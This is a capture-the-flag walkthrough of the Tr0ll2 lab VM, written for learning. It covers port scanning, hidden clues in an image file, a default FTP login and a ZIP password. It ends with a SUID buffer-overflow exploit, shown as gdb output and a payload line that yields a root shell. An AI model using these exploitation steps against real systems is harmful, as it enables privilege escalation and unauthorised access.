Maleus released Tr0ll a while ago, and while I didn’t attempt it, I figured I’d do the follow up - Tr0ll2. So, here is a quick runthrough of how to pwn it.
I would put this VM at beginner level - it’s not particularly complicated. It’s more a case of finding hidden data than actually doing any vulnerability exploitation. Lets get started.
And so should you.
12345678910111213141516
root@pwk:~# nmap -sS -T5 -p- --script banner 172.16.56.138
Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-23 15:27 BST
Nmap scan report for 172.16.56.138
Host is up (0.00020s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
|_banner: 220 Welcome to Tr0ll FTP... Only noobs stay for a while...
22/tcp open ssh
|_banner: SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
80/tcp open http
MAC Address: 00:0C:29:14:2B:52 (VMware)Nmap done: 1 IP address (1 host up) scanned in 19.78 seconds
root@pwk:~#
FTP, SSH and HTTP. Lets hit the HTTP server first, as that’s where Tr0ll started.
So, the usual then. A quick Nikto scan shows that there’s a robots.txt file, which has the following in it
While it looks like the page is identical for each of the 4 directories, on closer inspection, one of the images shown is slightly larger than the rest - this was determined by downloading each image.
12
-rw-r--r-- 1 root root 15831 Oct 4 09:57 cat_the_troll.jpg
-rw-r--r-- 1 root root 15873 Oct 4 09:31 cat_the_troll.jpg.1
Running strings (NOOOO !!!!) on this file results in the following output
12
Look Deep within y0ur_self for the answer
root@pwk:~#
Which just so happens to be a folder on the webserver, containing an answer.txt file. Short story shorter, answer.txt is just a dictionary file but with each individual line base64 encoded.
On visual inspection, one line stands out… (yes, I could probably have written something, but scrolling through a large file and noticing strange anomalies is my bag, ok ?)
So, we’ve exhausted the HTTP server by this point, so lets move onto FTP. I won’t bore you with details, but the username and password combo is Tr0ll:Tr0ll. The only file residing on the FTP server is a ZIP file.
123456789101112131415
root@pwk:~# ftp 172.16.56.138
Connected to 172.16.56.138.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (172.16.56.138:root): Tr0ll
331 Please specify the password.
Password: Tr0ll
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1001474 Oct 04 01:09 lmao.zip
226 Directory send OK.
ftp>
On extracting the ZIP file, we are asked for a password… lets try “ItCantReallyBeThisEasyRightLOL”
A small bit of enumeration here identifies the following folder structure
1234567
pwd/nothing_to_see_here/choose_wisely
ls -l
total 12
drwsr-xr-x 2 root root 4096 Oct 5 21:16 door1
drwsr-xr-x 2 root root 4096 Oct 5 21:19 door2
drwsr-xr-x 2 root root 4096 Oct 5 21:17 door3
Each door folder includes a file called r00t, which is a binary. However, there are 3 different versions. One of them puts you into an rbash shell for 2 minutes, one of them kicks you out and reboots the VM, and the other one (the largest one) repeats anything you provide it via stdin. These files are SUID, so, looks like we have a standard buffer overflow here.
123
-rwsr-xr-x 1 root root 7273 Oct 5 21:16 r00t
-rwsr-xr-x 1 root root 8401 Oct 5 21:16 r00t
-rwsr-xr-x 1 root root 7271 Oct 5 21:17 r00t
Something to note here before we carry on - a scheduled script rotates these files, so make sure you always work on the file that is 8401 bytes large - you may have to change into a different door directory.
Loading the file in GDB shows that you can easily overflow it with about 300 bytes of input.
root@pwk:~# gdb ./r00t
GNU gdb (GDB) 7.4.1-debian
Copyright (C)2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty"for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/troll/r00t...done.
gdb-peda$ r $(python -c 'print "A"*300');Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]EAX: 0x12c
EBX: 0xb7fbeff4 --> 0x15ed7c
ECX: 0xbffff4d8 --> 0xb7fbf4e0 --> 0xfbad2a84
EDX: 0xb7fc0360 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')ESP: 0xbffff610 ('A' <repeats 28times>)EIP: 0x41414141 ('AAAA')EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]0000| 0xbffff610 ('A' <repeats 28times>)0004| 0xbffff614 ('A' <repeats 24times>)0008| 0xbffff618 ('A' <repeats 20times>)0012| 0xbffff61c ('A' <repeats 16times>)0016| 0xbffff620 ('A' <repeats 12times>)0020| 0xbffff624 ("AAAAAAAA")0024| 0xbffff628 ("AAAA")0028| 0xbffff62c --> 0x8048200 --> 0x0
[------------------------------------------------------------------------------]Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()gdb-peda$
Standard buffer overflow process here (I don’t want to teach you how to suck eggs tbh, there’s enough resources online). EIP is at 269, so…
OK, easy peasy. GDB identifies that there isn’t a jmp esp in the binary, but it is a dynamically linked binary, so ret2libc is possible. But why make it more complicated for ourselves ? Naaah. Our shellcode can be placed in an environment value
Shellcode starts around 0xbffffe10, so we just change our EIP to that memory location to run the shellcode. As proven within GDB, it runs as expected and /bin/dash is executed (GDB strips EUID though)
12345678
(gdb) r $(python -c 'print "A"*268 + "\x10\xfe\xff\xbf"')Starting program: /nothing_to_see_here/choose_wisely/door1/r00t $(python -c 'print "A"*268 + "\x10\xfe\xff\xbf"')process 1575 is executing new program: /bin/dash
id
uid=1002(noob)gid=1002(noob)groups=1002(noob)exit[Inferior 1(process 1575) exited with code 0177](gdb)
When run outside of GDB, we get dropped to a root shell
1234567891011121314151617181920
./r00t $(python -c 'print "A"*268 + "\x10\xfe\xff\xbf"')id
uid=1002(noob)gid=1002(noob)euid=0(root)groups=0(root),1002(noob)cd /root
ls -ls
total 40
4 -rw-r--r-- 1 root root 68 Oct 6 18:32 Proof.txt
4 drwxr-xr-x 5 root root 4096 Oct 4 22:35 core1
4 drwxr-xr-x 5 root root 4096 Oct 4 22:36 core2
4 drwxr-xr-x 5 root root 4096 Oct 4 22:36 core3
4 drwxr-xr-x 5 root root 4096 Oct 4 22:36 core4
4 drwxr-xr-x 2 root root 4096 Oct 5 21:14 goal
4 drwxr-xr-x 2 root root 4096 Oct 6 18:36 hardmode
4 -rw-r--r-- 1 maleus maleus 1474 Oct 4 00:28 lmao.zip
4 -rw-r--r-- 1 root root 828 Oct 4 22:43 ran_dir.py
4 drwxr-xr-x 2 root root 4096 Oct 6 18:35 reboot
cat Proof.txt
You win this time young Jedi...
a70354f0258dcc00292c72aab3c8b1e4